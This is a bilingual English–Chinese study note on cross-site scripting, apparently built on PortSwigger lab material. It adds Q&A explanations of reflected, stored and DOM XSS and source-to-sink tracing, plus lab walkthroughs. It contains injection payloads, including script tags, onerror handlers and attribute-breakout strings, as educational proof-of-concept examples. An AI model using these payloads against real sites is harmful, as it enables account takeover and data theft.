Cross-site scripting
不幸的是,如果你使用 Chrome 浏览器,会出现一点小问题。从版本 92 开始(2021 年 7 月 20 日),跨域 iframe 被阻止调用 alert()。由于这些方法被用于构建一些更高级的 XSS 攻击,你有时需要使用替代的 PoC 载荷。在这种情况下,我们推荐使用 print() 函数。
原文摘要
Tip1
What are the types of XSS attacks? 什么是XSS攻击的类型?
There are three main types of XSS attacks. These are:有三种主要的XSS攻击类型。它们是:
- Reflected
XSS, where the malicious script comes from the current HTTP request. 反射型跨站脚本攻击,其中恶意脚本来源于当前的HTTP请求。 - Stored
XSS, where the malicious script comes from the website’s database. 存储型XSS,其中恶意脚本来源于网站的数据库。 - DOM-based
XSS, where the vulnerability exists in client-side code rather than server-side code. 基于DOM的XSS,其中漏洞存在于客户端代码而非服务器端代码。
Tip2
Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way. 反射型跨站脚本攻击(或XSS)是指当应用程序接收到HTTP请求中的数据,并以不安全的方式在即时响应中包含这些数据时发生的情况。
Suppose a website has a search function which receives the user-supplied search term in a URL parameter: 假设一个网站有一个搜索功能,它通过URL参数接收用户提供的搜索词:
https://insecure-website.com/search?term=gift
The application echoes the supplied search term in the response to this URL: 该应用程序会在响应此URL时回显提供的搜索词:
You searched for: gift
Assuming the application doesn’t perform any other processing of the data, an attacker can construct an attack like this: 假设应用程序不对数据进行其他处理,攻击者可以构造如下攻击:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
This URL results in the following response: 此URL返回以下响应:
You searched for:
If another user of the application requests the attacker’s URL, then the script supplied by the attacker will execute in the victim user’s browser, in the context of their session with the application. 如果应用程序的其他用户请求攻击者的URL,那么攻击者提供的脚本将在受害用户的浏览器中执行,并在他们与应用程序的会话上下文中运行。
Lab 1
Reflected XSS into HTML context with nothing encoded
将反射型
XSS注入HTML上下文且无任何编码
<script>alert(1)</script>
If an attacker can control a script that is executed in the victim’s browser, then they can typically fully compromise that user. Amongst other things, the attacker can: 如果攻击者能够控制在受害者浏览器中执行的脚本,那么他们通常可以完全控制该用户。攻击者可以做到:
- Perform any action within the application that the user can perform. 在应用程序中执行用户可以执行的任何操作。
- View any information that the user is able to view. 查看用户能够查看的任何信息。
- Modify any information that the user is able to modify. 修改用户能够修改的任何信息。
- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user. 发起与其他应用程序用户(包括恶意攻击者)的互动,这些互动将看似源自最初的受害者用户。
The need for an external delivery mechanism for the attack means that the impact of reflected XSS is generally less severe than stored XSS, where a self-contained attack can be delivered within the vulnerable application itself. 需要外部的交付机制才能发动攻击,这意味着反射型XSS的影响通常比存储型XSS要轻,因为攻击可以在漏洞应用内部自行完成交付。
Tip3
There are many different varieties of reflected cross-site scripting. The location of the reflected data within the application’s response determines what type of payload is required to exploit it and might also affect the impact of the vulnerability. 反射型跨站脚本攻击有许多不同的变种。反射数据在应用程序响应中的位置决定了利用它所需的 payload 类型,也可能影响该漏洞的影响程度。
In addition, if the application performs any validation or other processing on the submitted data before it is reflected, this will generally affect what kind of XSS payload is needed. 此外,如果应用程序在提交的数据被反映之前对其进行任何验证或其他处理,这通常会影响需要哪种类型的XSS载荷。
Tip4
The vast majority of reflected cross-site scripting vulnerabilities can be found quickly and reliably using Burp Suite’s web vulnerability scanner. 绝大多数反射型跨站脚本漏洞都可以使用Burp Suite的Web漏洞扫描器快速且可靠地发现。
Testing for reflected XSS vulnerabilities manually involves the following steps: 手动检测反射型XSS漏洞涉及以下步骤:
- Test every entry point. Test separately every entry point for data within the application’s HTTP requests. This includes parameters or other data within the URL query string and message body, and the URL file path. It also includes HTTP headers, although XSS-like behavior that can only be triggered via certain HTTP headers may not be exploitable in practice. 测试每一个入口点。分别测试应用程序HTTP请求中的每一个入口点。这包括URL查询字符串、消息体中的参数或其他数据,以及URL文件路径。它还包括HTTP头,尽管某些只能通过特定HTTP头触发的XSS类似行为在实际中可能无法被利用。
- Submit random alphanumeric values. For each entry point, submit a unique random value and determine whether the value is reflected in the response. The value should be designed to survive most input validation, so needs to be fairly short and contain only alphanumeric characters. But it needs to be long enough to make accidental matches within the response highly unlikely. A random alphanumeric value of around 8 characters is normally ideal. You can use Burp Intruder’s number payloads with randomly generated hex values to generate suitable random values. And you can use Burp Intruder’s grep payloads settings to automatically flag responses that contain the submitted value. 提交随机的字母数字值。对于每个入口点,提交一个唯一的随机值,并确定该值是否在响应中被反射。该值应设计为能够通过大多数输入验证,因此需要相对较短且仅包含字母数字字符。但也要足够长,以使在响应中偶然匹配的可能性极低。通常,8个字符左右的随机字母数字值是理想的选择。你可以使用Burp Intruder的数字负载,配合随机生成的十六进制值来生成合适的随机值。同时,可以使用Burp Intruder的grep负载设置,自动标记包含所提交值的响应。
- Determine the reflection context. For each location within the response where the random value is reflected, determine its context. This might be in text between HTML tags, within a tag attribute which might be quoted, within a JavaScript string, etc. 确定反射上下文。对于响应中每个反射随机值的位置,确定其上下文。这可能出现在HTML标签之间的文本中、带引号的标签属性中、JavaScript字符串中等。
- Test a candidate payload. Based on the context of the reflection, test an initial candidate XSS payload that will trigger JavaScript execution if it is reflected unmodified within the response. The easiest way to test payloads is to send the request to Burp Repeater, modify the request to insert the candidate payload, issue the request, and then review the response to see if the payload worked. An efficient way to work is to leave the original random value in the request and place the candidate XSS payload before or after it. Then set the random value as the search term in Burp Repeater’s response view. Burp will highlight each location where the search term appears, letting you quickly locate the reflection. 测试一个候选载荷。根据反射的上下文,测试一个初始的候选XSS载荷,如果该载荷在响应中未被修改地反射回来,将触发JavaScript执行。测试载荷的最简单方法是将请求发送到Burp Repeater,修改请求以插入候选载荷,发送请求,然后查看响应以确定载荷是否有效。一种高效的工作方式是保留请求中的原始随机值,并将候选XSS载荷放在其前面或后面。然后在Burp Repeater的响应视图中将随机值设置为搜索项。Burp会高亮显示每个出现搜索项的位置,使你可以快速定位反射位置。
- Test alternative payloads. If the candidate XSS payload was modified by the application, or blocked altogether, then you will need to test alternative payloads and techniques that might deliver a working XSS attack based on the context of the reflection and the type of input validation that is being performed. For more details, see cross-site scripting contexts 测试其他有效载荷。如果候选的XSS有效载荷被应用程序修改或完全阻止,那么你需要测试其他有效载荷和技术,这些技术可能基于反射上下文和正在执行的输入验证类型,实现有效的XSS攻击。如需更多细节,请参见跨站脚本反射上下文
- Test the attack in a browser. Finally, if you succeed in finding a payload that appears to work within Burp Repeater, transfer the attack to a real browser (by pasting the URL into the address bar, or by modifying the request in Burp Proxy’s intercept view, and see if the injected JavaScript is indeed executed. Often, it is best to execute some simple JavaScript like
alert(document.domain)which will trigger a visible popup within the browser if the attack succeeds. 在浏览器中测试攻击。最后,如果你成功找到一个在Burp Repeater中似乎能正常工作的负载,将其转移到真实浏览器中(通过将URL粘贴到地址栏,或在Burp Proxy的拦截视图中修改请求),并查看注入的JavaScript是否确实被执行。通常,执行一些简单的JavaScript,如alert(document.domain),如果攻击成功,会在浏览器中触发一个可见的弹窗。
Tip5
What is the difference between reflected XSS and self-XSS? Self-XSS involves similar application behavior to regular reflected XSS, however it cannot be triggered in normal ways via a crafted URL or a cross-domain request. Instead, the vulnerability is only triggered if the victim themselves submits the XSS payload from their browser. Delivering a self-XSS attack normally involves socially engineering the victim to paste some attacker-supplied input into their browser. As such, it is normally considered to be a lame, low-impact issue. 什么是反射型XSS和自我XSS的区别?自我XSS与普通的反射型XSS具有相似的应用行为,但它不能通过精心构造的URL或跨域请求以正常方式触发。相反,只有当受害者自己从浏览器中提交XSS载荷时,该漏洞才会被触发。通常,自我XSS攻击是通过社会工程手段诱使受害者将攻击者提供的输入粘贴到他们的浏览器中来实施的。因此,它通常被认为是一个低影响的问题。
Tip6
Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way. 存储型跨站脚本攻击(也称为二级或持久性XSS)发生在应用程序从不可信来源接收数据,并以不安全的方式在之后的HTTP响应中包含该数据时。
Lab 2
Stored XSS into HTML context with nothing encoded
将存储型
XSS注入HTML上下文且无任何编码
只有 comment 输入框内可以被解析。
<script>alert(1)</script>
In terms of exploitability, the key difference between reflected and stored XSS is that a stored XSS vulnerability enables attacks that are self-contained within the application itself. The attacker does not need to find an external way of inducing other users to make a particular request containing their exploit. Rather, the attacker places their exploit into the application itself and simply waits for users to encounter it. 从可利用性方面来看,反射型和存储型XSS的关键区别在于,存储型XSS漏洞使得攻击可以完全包含在应用程序内部。攻击者不需要找到外部方式诱导其他用户发出包含其利用代码的特定请求。相反,攻击者只需将他们的利用代码放入应用程序内部,然后等待用户遇到它。
Tip7
Many stored XSS vulnerabilities can be found using Burp Suite’s web vulnerability scanner. 许多存储型XSS漏洞可以通过Burp Suite的Web漏洞扫描器发现。
Testing for stored XSS vulnerabilities manually can be challenging. You need to test all relevant “entry points” via which attacker-controllable data can enter the application’s processing, and all “exit points” at which that data might appear in the application’s responses. 手动检测存储型XSS漏洞具有挑战性。你需要测试所有相关的“入口点”,这些入口点可能让攻击者控制的数据进入应用程序的处理流程,以及所有“出口点”,这些数据可能出现在应用程序的响应中。
Entry points into the application’s processing include: 进入应用程序处理的入口包括:
- Parameters or other data within the URL query string and message body. URL查询字符串和消息体中的参数或其他数据。
- The URL file path. URL文件路径。
- HTTP request headers that might not be exploitable in relation to reflected XSS. HTTP请求头中可能与反射型XSS无关的不可利用部分。
- Any out-of-band routes via which an attacker can deliver data into the application. The routes that exist depend entirely on the functionality implemented by the application: a webmail application will process data received in emails; an application displaying a Twitter feed might process data contained in third-party tweets; and a news aggregator will include data originating on other web sites. 任何非带内路由,通过这些路由攻击者可以将数据注入到应用程序中。存在的路由完全取决于应用程序实现的功能:一个网络邮件应用程序会处理通过电子邮件接收到的数据;一个显示Twitter动态的应用程序可能会处理第三方推文中包含的数据;而一个新闻聚合器则会包含来自其他网站的数据。
Query 1 存储型XSS为啥要考虑URL
这个问题本质上是对“输入源(entry point)”的误解。
先给你一个结论: 存储型 XSS 当然也要考虑 URL,因为 URL 本身就是一种合法的输入通道。
1️⃣ 核心区别先理清
类型 数据来源 触发方式 反射型 XSS 请求 → 立即响应 一次请求就触发 存储型 XSS 请求 → 存储 → 后续响应 延迟触发(别人访问才触发) 👉 关键点: 两者的“输入入口”是一样的,只是“是否存储”不同
2️⃣ 为什么 URL 也算存储型 XSS 的入口?
你要把 URL 当成:
攻击者提交 payload 的一个载体
比如:
POST /comment Content-Type: application/x-www-form-urlencoded comment=<script>alert(1)</script>这是典型 body 输入。
但同样可以是:
GET /comment?msg=<script>alert(1)</script>👉 如果后端代码这样写:
$msg = $_GET['msg']; save_to_database($msg);那就变成:
➡️ URL → 数据库存储 → 页面展示
➡️ 这就是存储型 XSS
3️⃣ 常见你会忽略的“URL → 存储”场景
这些在真实漏洞里非常常见:
✔ 1. 搜索记录
/search?q=<script>alert(1)</script>→ 被记录到数据库(搜索历史) → 后台或用户页面展示 → XSS
✔ 2. 日志系统
服务器记录:
- URL
- User-Agent
- Referer
例如:
GET /<script>alert(1)</script>👉 管理员查看日志页面时触发 XSS (这类叫 Log-based Stored XSS)
✔ 3. 分享/跳转记录
/redirect?url=<script>alert(1)</script>如果被存储并展示:
👉 直接变存储型 XSS
4️⃣ 为什么教材里要特别强调 URL?
因为很多人会误以为:
存储型 XSS = 只看 POST / 表单输入
这是错误的。
安全测试里有一个原则:
所有可控输入 = 都要测试
包括:
- URL 参数(GET)
- Body(POST / JSON)
- Header(User-Agent / Referer)
- Cookie
- 文件上传
- 第三方数据源(邮件、API)
5️⃣ 你可以这样理解(更专业一点)
在漏洞建模中:
Entry point ≠ 触发点
- Entry point:数据进入系统的地方
- Sink:数据被执行的地方(如 HTML、JS、DOM)
存储型 XSS路径是:
Entry point(URL / body / header) ↓ Storage(数据库 / 文件 / 缓存) ↓ Sink(页面渲染)👉 URL 完全可以作为 Entry point
6️⃣ 一句话总结
存储型 XSS关注的是“数据会不会被存下来”,而不是“数据是从哪里来的”。
URL 只是输入渠道之一,只要:
URL → 被存储 → 被输出那它就是存储型 XSS 的攻击路径。
Query 2 什么是非带内路由
“非带内路由”(out-of-band routes)这个概念,关键在于数据不是通过当前这一次 HTTP 请求直接进入并立即被处理。
先给一个精确定义:
非带内路由 = 数据通过“其他通道”进入应用,并在之后某个时刻被应用处理
1️⃣ 对比:带内 vs 非带内
✔ 带内(in-band)
数据和当前请求是同一条链路:
GET /search?q=abc流程:
请求 → 服务器处理 → 响应👉 数据“随请求进入、随响应处理”
✔ 非带内(out-of-band)
数据不是在当前请求里直接提交的
而是:
其他渠道进入 → 被系统存储/接收 → 之后某个请求触发处理👉 数据进入和触发处理是“分离的”
2️⃣ 典型非带内输入来源
文中举的例子其实很经典,你可以按攻击面理解:
📧 1. 邮件系统(webmail)
攻击路径:
攻击者发送恶意邮件 ↓ 服务器接收并存储 ↓ 用户打开邮件页面 ↓ 触发 XSS👉 Payload 根本不在 HTTP 请求里 👉 而是“通过邮件协议进入”
🐦 2. 第三方数据(例如 Twitter feed)
比如一个网站展示 Twitter 内容:
攻击者发一条恶意推文 ↓ 网站调用 API 拉取数据 ↓ 页面渲染 ↓ 触发 XSS👉 数据来自第三方 API,而不是用户请求
📰 3. 新闻聚合 / RSS
攻击者控制某网站内容 ↓ 聚合器抓取(RSS/API) ↓ 展示在页面👉 完全绕过用户输入入口
📦 4. 服务器日志 / 后台系统
攻击者构造恶意 User-Agent / URL ↓ 服务器记录日志 ↓ 管理员查看日志页面 ↓ 触发 XSS👉 这其实是典型的:
Stored XSS via out-of-band input
3️⃣ 为什么安全里要单独强调这个?
因为很多初学者(包括你刚刚的问题)会默认:
“输入 = URL / 表单”
但实际上:
任何能进入系统的数据都是输入
包括:
- 邮件内容
- 第三方 API
- 文件内容
- 日志
- 消息队列
- Webhook
这些全部都是:
👉 非带内路由
4️⃣ 从漏洞利用角度怎么理解?
这是重点(你做 Burp 靶场一定会用到):
带内 XSS
/search?q=<script>alert(1)</script>👉 你自己访问就触发
非带内 XSS
你要做的是:
把 payload 注入“某个系统会处理的数据源” 然后等“别人触发”比如:
- 发一封恶意邮件
- 发一条恶意评论
- 构造日志
- 控制第三方数据
👉 本质是:
间接触发执行(indirect execution)
5️⃣ 和存储型 XSS的关系
你可以把关系这样记:
非带内路由 ≈ 更隐蔽的数据入口 存储型 XSS ≈ 利用这些入口的常见方式但注意:
- 非带内 ≠ 一定是 XSS
- 非带内只是“数据进入方式”
6️⃣ 一句话总结
非带内路由就是:数据不是通过当前请求提交的,而是通过“其他渠道进入系统”,并在之后被处理。
The exit points for stored XSS attacks are all possible HTTP responses that are returned to any kind of application user in any situation. 存储型XSS攻击的出口点是所有可能的HTTP响应,这些响应在任何情况下都会返回给任何应用程序用户。
The first step in testing for stored XSS vulnerabilities is to locate the links between entry and exit points, whereby data submitted to an entry point is emitted from an exit point. The reasons why this can be challenging are that: 检测存储型XSS漏洞的第一步是确定入口点和出口点之间的链接,即提交到入口点的数据会从出口点发出。这之所以具有挑战性,是因为:
- Data submitted to any entry point could in principle be emitted from any exit point. For example, user-supplied display names could appear within an obscure audit log that is only visible to some application users. 提交到任何入口点的数据原则上都可能从任何出口点发出。例如,用户提供的显示名称可能出现在一个只有部分应用程序用户可见的隐蔽审计日志中。
- Data that is currently stored by the application is often vulnerable to being overwritten due to other actions performed within the application. For example, a search function might display a list of recent searches, which are quickly replaced as users perform other searches. 应用程序当前存储的数据通常容易因应用内的其他操作而被覆盖。例如,搜索功能可能会显示最近的搜索列表,但随着用户进行其他搜索,这些列表会迅速被替换。
Query 3 这两点想表达些什么
这两句话在讲的是XSS测试中的两个核心建模原则,本质是提醒你: 不要把“输入→输出”的路径想得过于简单或固定。
我逐条拆开,用更偏渗透测试的视角解释。
1️⃣ “任何入口的数据,都可能从任何出口出来”
原文意思:
你在某个输入点提交的数据,不一定只在“你预期的位置”出现,而可能在系统的任意输出点被渲染。
✔ 本质在讲:数据流是不透明的
你提交:
POST /profile name=<script>alert(1)</script>你以为只会出现在:
个人主页但实际上可能出现在:
- 管理员后台
- 审计日志页面
- 邮件通知
- API 返回
- 第三方系统
✔ 典型真实场景
比如“显示名称”:
用户名:<script>alert(1)</script>你看自己页面没问题(被过滤了) 但在:
👉 管理后台日志页面(没过滤)
直接触发 XSS
✔ 安全上的结论
不要只测试“当前页面有没有执行”,要追踪“数据会流向哪里”
这是一个经典误区:
- ❌ 初学者:payload 没弹 → 以为没漏洞
- ✅ 实际:payload 在别的地方执行
2️⃣ “已存储的数据可能被覆盖”
原文意思:
应用里存储的数据,可能很快被其他操作替换掉。
✔ 本质在讲:数据是“易变的”
例子:
/search?q=<script>alert(1)</script>系统会记录:
最近搜索:<script>alert(1)</script>但问题是:
你再搜索一次 → 旧记录被覆盖
✔ 安全上的影响
这直接影响两件事:
🔴 1. 漏洞稳定性(exploit reliability)
你的 payload:
- 可能很快消失
- 只能短时间触发
👉 属于:
瞬时型 Stored XSS
🔴 2. 利用策略(attack timing)
你必须:
- 在 payload 被覆盖前触发
- 或让目标用户尽快访问
✔ 更隐蔽的情况
比如:
- 日志轮转(log rotation)
- 缓存刷新
- 队列消费
👉 payload 会被系统自动清掉
3️⃣ 把两点合在一起理解(重点)
这两句话其实在表达一个更高级的安全思维:
数据流是“动态 + 非线性”的具体来说:
✔ 数据路径
Entry(入口) → Storage(存储) → 多个 Sink(输出点)而不是:
Entry → 当前页面
✔ 数据生命周期
写入 → 被使用 → 被覆盖 / 删除不是:
写入 → 永远存在
4️⃣ 用一句更专业的话总结
应用中的用户输入在**传播路径(data propagation)和生命周期(data lifecycle)**上都具有不确定性,因此必须进行跨功能、跨上下文的全面分析。
To comprehensively identify links between entry and exit points would involve testing each permutation separately, submitting a specific value into the entry point, navigating directly to the exit point, and determining whether the value appears there. However, this approach is not practical in an application with more than a few pages. 要全面识别入口和出口点之间的关联,需要分别测试每一种排列组合,将特定值输入入口点,直接导航到出口点,并确定该值是否出现在那里。然而,在页面数量超过几个的应用程序中,这种方法并不实际。
Instead, a more realistic approach is to work systematically through the data entry points, submitting a specific value into each one, and monitoring the application’s responses to detect cases where the submitted value appears. Particular attention can be paid to relevant application functions, such as comments on blog posts. When the submitted value is observed in a response, you need to determine whether the data is indeed being stored across different requests, as opposed to being simply reflected in the immediate response. 相反,更现实的方法是系统地通过数据输入点,每个输入点提交一个特定的值,并监控应用程序的响应以检测提交的值是否出现在响应中。可以特别关注相关的应用程序功能,例如对博客文章的评论。当在响应中观察到提交的值时,需要确定这些数据是否确实在不同的请求中被存储,而不是仅仅在即时响应中被反映出来。
When you have identified links between entry and exit points in the application’s processing, each link needs to be specifically tested to detect if a stored XSS vulnerability is present. This involves determining the context within the response where the stored data appears and testing suitable candidate XSS payloads that are applicable to that context. At this point, the testing methodology is broadly the same as for finding reflected XSS vulnerabilities. 当你已经确定了应用程序处理过程中入口和出口点之间的链接时,每个链接都需要进行具体测试,以检测是否存在存储型XSS漏洞。这包括确定响应中存储数据出现的上下文,并测试适用于该上下文的合适XSS载荷。此时,测试方法与查找反射型XSS漏洞的方法大致相同。
Query 4 要如何确定上下文
这是做 XSS 时最关键的一步之一:判定“输出上下文(output context)”。 如果判断错了,payload 再多也不会执行。
我直接给你一套实战判定方法,你可以在 Burp / 浏览器里一步步操作。
1️⃣ 什么叫“上下文”
简单说:
浏览器是按“语法环境”解析你的数据的
同一段输入:
<script>alert(1)</script>在不同位置,含义完全不同:
上下文 结果 HTML正文 变成标签 属性值 变成属性的一部分 JS字符串 只是字符串 URL 被编码
2️⃣ 核心:你到底怎么“确定上下文”?
不是猜,是观察 + 验证
✅ 方法一:看页面源代码(最直接)
右键 → 查看源代码 / DevTools
找你输入的数据:
<div>YOUR_INPUT</div>或:
<input value="YOUR_INPUT">或:
<script> var x = "YOUR_INPUT"; </script>
👉 对应上下文判断:
代码位置 上下文 <div>xxx</div>HTML文本 value="xxx"HTML属性 <script>...</script>JS上下文 href="xxx"URL上下文
✅ 方法二:用“探针 payload”测试(更实战)
你可以用一些不会破坏结构的测试字符
比如输入:
test123"'<>然后看响应里变成什么:
🔍 情况1:HTML编码了
test123"'<>👉 说明:
在 HTML 上下文,被转义了(较安全)
🔍 情况2:没编码
test123"'<>👉 说明:
存在注入风险
✅ 方法三:判断你“是否在标签内”
比如你看到:
<a href="test123">👉 你在:
属性上下文(attribute context)
你看到:
<div>test123</div>👉 你在:
HTML文本上下文
你看到:
<script> var x = "test123"; </script>👉 你在:
JavaScript字符串上下文
3️⃣ 进阶:5种常见上下文(必须熟)
🟢 1. HTML文本上下文
<div>INPUT</div>特点:
- 可以直接插标签
🟡 2. HTML属性上下文
<input value="INPUT">关键:
- 需要“闭合引号”
🔵 3. JavaScript上下文
<script> var x = "INPUT"; </script>关键:
- 你要“跳出字符串”
🟣 4. URL上下文
<a href="INPUT">关键:
javascript:/ data URI
🔴 5. DOM上下文(JS动态写入)
例如:
element.innerHTML = location.search;👉 这种你要:
用浏览器调试,而不是只看源码
Tip 8
To deliver a DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes execution of arbitrary JavaScript. 要实施基于DOM的XSS攻击,你需要将数据放入一个源中,使其传播到一个汇点并导致任意JavaScript代码的执行。
Query 5 什么叫做从源到汇点
这是 DOM XSS 里最核心的模型:source → sink(源 → 汇点)。你可以把它理解为一条数据流链路。
1️⃣ 精确定义
源(source):攻击者可控数据进入前端 JavaScript 的位置 汇点(sink):这些数据被“当作代码/HTML执行”的位置
2️⃣ 用一句话解释
从源到汇点 = 你的输入如何一步步流到一个“会执行它”的地方
3️⃣ 一个最小示例(必须吃透)
var input = location.search; document.body.innerHTML = input;
拆解:
✔ Source(源)
location.search👉 URL 参数,可控:
?x=<img src=x onerror=alert(1)>
✔ Sink(汇点)
innerHTML👉 浏览器会:
- 解析 HTML
- 执行事件(onerror)
✔ 完整链路
URL → location.search → innerHTML → 执行JS👉 这就是:
从源到汇点的完整利用路径
4️⃣ 为什么强调“传播(propagation)”
现实中不会这么简单,通常是多步传递:
var a = location.search; var b = decodeURIComponent(a); var c = b.replace("x", "y"); document.write(c);👉 数据路径:
source → 处理 → 再处理 → sink
5️⃣ 常见 Source(你要记住)
这些基本都是可控输入:
location.search(URL参数)location.hash(#后面的内容)document.referrerdocument.cookiewindow.namepostMessage
6️⃣ 常见 Sink(重点)
这些是“危险函数/属性”:
🔴 HTML执行类
element.innerHTML element.outerHTML document.write()
🔴 JS执行类
eval() setTimeout("string") setInterval("string")
🔴 URL执行类
location = "javascript:..."
7️⃣ 你可以这样理解(更底层)
浏览器里:
Source = 数据入口 Sink = 解释器(HTML parser / JS engine)当数据进入 sink 时:
👉 被当成代码解释 👉 就触发 XSS
8️⃣ 为什么 DOM XSS必须找“源 → 汇点”
因为它:
❌ 不经过服务器 ❌ 响应里看不到 payload
👉 所以你只能:
分析前端 JS 数据流
The most common source for DOM XSS is the URL, which is typically accessed with the window.location object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL. In certain circumstances, such as when targeting a 404 page or a website running PHP, the payload can also be placed in the path.
DOM XSS最常见的来源是URL,通常通过window.location对象进行访问。攻击者可以构造一个链接,将受害者引导至一个存在漏洞的页面,并在URL的查询字符串和片段部分放置有效载荷。在某些情况下,例如针对404页面或运行PHP的网站,有效载荷也可以放置在路径部分。
For a detailed explanation of the taint flow between sources and sinks, please refer to the DOM-based vulnerabilities page. 有关源和汇之间污点流的详细说明,请参阅基于DOM的漏洞页面。
Tip 9
Testing JavaScript execution sinks for DOM-based XSS is a little harder. With these sinks, your input doesn’t necessarily appear anywhere within the DOM, so you can’t search for it. Instead you’ll need to use the JavaScript debugger to determine whether and how your input is sent to a sink. 测试基于DOM的XSS的JavaScript执行sink有点困难。对于这些sink,你的输入不一定出现在DOM的任何地方,因此你无法搜索到它。相反,你需要使用JavaScript调试器来确定你的输入是否以及如何被发送到sink。
For each potential source, such as location, you first need to find cases within the page’s JavaScript code where the source is being referenced. In Chrome’s developer tools, you can use Control+Shift+F (or Command+Alt+F on MacOS) to search all the page’s JavaScript code for the source.
对于每个潜在的来源,例如位置,你首先需要在页面的JavaScript代码中找到引用该来源的地方。在Chrome的开发者工具中,你可以使用Control+Shift+F(或MacOS上的Command+Alt+F)来搜索页面所有JavaScript代码中的来源。
Once you’ve found where the source is being read, you can use the JavaScript debugger to add a break point and follow how the source’s value is used. You might find that the source gets assigned to other variables. If this is the case, you’ll need to use the search function again to track these variables and see if they’re passed to a sink. When you find a sink that is being assigned data that originated from the source, you can use the debugger to inspect the value by hovering over the variable to show its value before it is sent to the sink. Then, as with HTML sinks, you need to refine your input to see if you can deliver a successful XSS attack. 一旦你找到源代码被读取的位置,就可以使用JavaScript调试器添加一个断点,并跟踪源代码的值是如何被使用的。你可能会发现源代码被赋值给其他变量。如果是这样的话,你需要再次使用搜索功能来追踪这些变量,查看它们是否传递给了一个汇点。当你找到一个被赋值来自源代码的数据的汇点时,可以使用调试器通过悬停变量来查看其在传递给汇点前的值。然后,如同处理HTML汇点一样,你需要细化你的输入,以查看是否能够成功实施XSS攻击。
Query 6 跟踪变量的流程是怎样的
你可以把“从源到汇点的跟踪”理解成一条变量数据流的追踪链。目标很明确: 确认你控制的数据,是否最终进入了一个会执行它的 sink。
1️⃣ 先定位 Source(起点)
在前端 JS 里找:
location.search location.hash document.cookie document.referrer例如:
var q = location.search;👉 这里就是源
2️⃣ 下断点(关键步骤)
在浏览器 DevTools:
- 打开 Sources
- 找到这段 JS
- 在这一行打断点
var q = location.search; // 这里打断点刷新页面
👉 程序会停住
3️⃣ 看变量的值
此时:
- 鼠标悬停
q- 或看右侧 Scope
你会看到:
?q=<img src=x onerror=alert(1)>👉 确认:数据确实可控
4️⃣ 跟踪变量“流向哪里”
继续执行(F10 单步):
var q = location.search; var x = decodeURIComponent(q); var y = x.replace("test", "");你要做的是:
👉 一直跟:
q → x → y
5️⃣ 用“全局搜索”辅助(非常重要)
按:
Ctrl + Shift + F搜索:
q x y👉 找这些变量有没有被用在:
innerHTMLdocument.writeeval
6️⃣ 找到 Sink(终点)
例如:
document.body.innerHTML = y;👉 这就是 sink
7️⃣ 回到断点,验证“进入 sink 前的值”
在这一行:
document.body.innerHTML = y;再打一个断点
刷新页面
👉 程序停在这里
现在你做:
- 鼠标悬停
y如果看到:
<img src=x onerror=alert(1)>👉 说明:
payload 已经成功从 source 流到了 sink
8️⃣ 最后一步:构造 payload
根据 sink 类型调整:
✔ 如果是 innerHTML
<img src=x onerror=alert(1)>
✔ 如果是在 JS 字符串
var x = "INPUT";你要:
";alert(1);//
9️⃣ 整个流程一句话总结
找到 source → 打断点 → 跟变量 → 找 sink → 看进入 sink 时的值 → 构造 payload
Tip 10
Identifying and exploiting DOM XSS in the wild can be a tedious process, often requiring you to manually trawl through complex, minified JavaScript. If you use Burp’s browser, however, you can take advantage of its built-in DOM Invader extension, which does a lot of the hard work for you. 识别和利用真实的DOM XSS漏洞可能是一个繁琐的过程,通常需要你手动浏览复杂的、压缩过的JavaScript代码。然而,如果你使用Burp的浏览器,就可以利用其内置的DOM Invader扩展,它会为你完成很多繁重的工作。
Tip 11
In principle, a website is vulnerable to DOM-based cross-site scripting if there is an executable path via which data can propagate from source to sink. In practice, different sources and sinks have differing properties and behavior that can affect exploitability, and determine what techniques are necessary. Additionally, the website’s scripts might perform validation or other processing of data that must be accommodated when attempting to exploit a vulnerability. There are a variety of sinks that are relevant to DOM-based vulnerabilities. Please refer to the list below for details. 原则上,如果存在一条可执行路径,使数据可以从源传播到汇,那么网站就容易受到基于DOM的跨站脚本攻击。实际上,不同的源和汇具有不同的属性和行为,这会影响利用的可行性,并决定需要采用哪些技术。此外,网站的脚本可能会对数据进行验证或其他处理,这些在尝试利用漏洞时必须加以考虑。有许多与基于DOM的漏洞相关的汇。详情请参阅下面的列表。
The document.write sink works with script elements, so you can use a simple payload, such as the one below:
document.write sink 与 script 元素配合使用,因此您可以使用如下简单的载荷:
document.write('... <script>alert(document.domain)</script> ...');
请注意,然而在某些情况下,写入document.write的内容可能包含一些上下文,你需要在利用时考虑这些上下文。例如,你可能需要在使用你的JavaScript载荷之前关闭一些现有的元素。(什么叫做关闭一些现有元素呢?在Lab 3 中你会找到答案)
Lab 3
DOM XSS in
document.writesink using sourcelocation.search使用
location.search作为源的document.write汇点中的DOM XSS
如果使用 <script>alert(1)</script>
对于 Search处:0 search results for '<script>alert(1)</script>'
对于 Comment处:留言存在,但是没有被解析。
1 | 26 April 2026
<script>alert(1)</script>
如果使用 <img src=1 onerror=alert(1)>
对于 Search处:1 search results for '<img src=1 onerror=alert(1)>'
对于 Comment处:留言依然存在,但是没有被解析。
1 | 26 April 2026
<img src=1 onerror=alert(1)>
那现在该怎么做呢?
好,我们先搜索 justki,然后在元素中查找他;
第一处:<h1>0 search results for 'justki'</h1>,这是标题,直接打印在页面上。
第二处:<img src="/resources/images/tracker.gif?searchTerms=justki">,本来这里应该打印出 justki 这张图片,但是很明显,他没有这个资源。
我们再点开上面的 script:
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
我们在搜索框中输入的叫做 query,字符串是 非0 的,一定会使if的条件语句被执行,也就是页面一定会去加载图片。
Event Handler Injection(事件处理器注入)
所以我们可以去修改 img内的 属性(src是源属性),但我们在搜索框内输入 " onload="alert('justki'),就会使得 img变成这样:
<img src="/resources/images/tracker.gif?searchTerms=" onload="alert('justki')">
就成功触发了。
Reflected XSS with context breakout(上下文逃逸)
或者构造成这样:
<img src="/resources/images/tracker.gif?searchTerms="><svg onload=alert('justki')>">
